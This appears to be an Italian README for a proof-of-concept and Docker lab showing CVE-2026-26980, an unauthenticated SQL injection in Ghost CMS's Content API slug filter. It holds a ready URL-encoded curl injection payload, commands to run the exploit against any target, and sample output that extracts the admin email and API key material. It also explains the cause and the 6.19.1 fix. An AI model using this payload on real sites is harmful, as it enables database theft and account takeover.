
PoC Python e laboratorio Docker che dimostrano un'iniezione SQL non autenticata nel filtro slug della Content API di TryGhost Ghost CMS, estraendo valori dal database tramite un oracolo booleano.
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 è una vulnerabilità di SQL Injection non autenticata nella Content API di TryGhost Ghost CMS. Il percorso vulnerabile è raggiungibile attraverso la logica di gestione dei filtri della Content API pubblica quando viene elaborato l'ordinamento slug:[...].
Questa PoC costruisce un laboratorio Ghost 6.19.0 controllato e dimostra come una richiesta pubblica alla Content API possa essere trasformata in una primitiva di lettura del database basata su booleani.
| Prodotto | Versione interessata | Versione corretta | Tipo di vulnerabilità |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL Injection |
L'ambiente di laboratorio utilizza Ghost 6.19.0.
Compila ed esegui l'ambiente Ghost CMS vulnerabile utilizzando Docker:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
Esempio:
http://127.0.0.1:9102/
Il laboratorio esegue una vera istanza vulnerabile di Ghost 6.19.0 sulla porta 9102.
La chiave della Content API del laboratorio è:
EQSTLab299
CVE-2026-26980 : vulnerabilità di SQL Injection nella Content API di TryGhost Ghost CMS
description: Una vulnerabilità di SQL injection in TryGhost Ghost CMS precedente alla versione 6.19.1 consente a un attaccante non autenticato con accesso a una chiave pubblica della Content API di leggere valori arbitrari del database attraverso il parametro filter della Content API. Il problema si verifica nel percorso di ordinamento del filtro slug:[...], dove i valori slug controllati dall'utente vengono inseriti in SQL grezzo senza un corretto binding dei parametri.
Le chiavi della Content API di Ghost sono comunemente esposte ai browser per design attraverso temi, ricerca, portal o JavaScript frontend. Ciò significa che il percorso vulnerabile può essere raggiungibile senza autenticazione a Ghost Admin.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
Chiave Content API personalizzata opzionale:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
Esempio di [Target]: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
La PoC pubblica dimostra l'impatto di lettura del database estraendo metadati del database sicuri per il laboratorio e materiale delle chiavi API di Ghost. Non stampa il flag della challenge.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
La logica vulnerabile esiste nel percorso di serializzazione dell'input della Content API di Ghost per i filtri slug:[...]. Ghost supporta filtri slug in stile lista e preserva l'ordine degli slug richiesti generando un'espressione ORDER BY CASE.
Nelle versioni vulnerabili, i valori slug controllati dall'utente vengono inseriti in un frammento SQL. Un pattern vulnerabile semplificato è:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
Poiché slug è controllato dall'attaccante e viene inserito nella stringa SQL senza binding dei parametri, un filtro Content API appositamente costruito può uscire dal confronto previsto e iniettare logica SQL aggiuntiva.
La PoC del laboratorio utilizza due tag pubblici, bacon e chorizo, come oracolo booleano osservabile.
bacon viene ordinato per primo.chorizo viene ordinato per primo.Ripetendo questo test con condizioni SQL diverse, la PoC può dedurre i valori del database un carattere alla volta.
Verifica dell'oracolo booleano con curl:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
La causa principale è la costruzione non sicura di un frammento SQL ORDER BY CASE a partire da valori slug controllati dall'utente. Il codice vulnerabile tenta di preservare l'ordine di risposta della Content API, ma tratta i valori dei filtri NQL analizzati come testo SQL attendibile.
Una correzione robusta deve:
Ghost ha corretto questo problema nella versione 6.19.1 sostituendo l'interpolazione grezza con binding di query parametrizzate.
Questo è un problema CWE-89: Neutralizzazione impropria di elementi speciali utilizzati in un comando SQL.
Poiché la Content API di Ghost è intenzionalmente pubblica, questa vulnerabilità può consentire a un attaccante non autenticato di creare una primitiva di lettura del database attraverso un endpoint di contenuto pubblico. A seconda del contenuto e dei permessi del database, un attaccante potrebbe essere in grado di: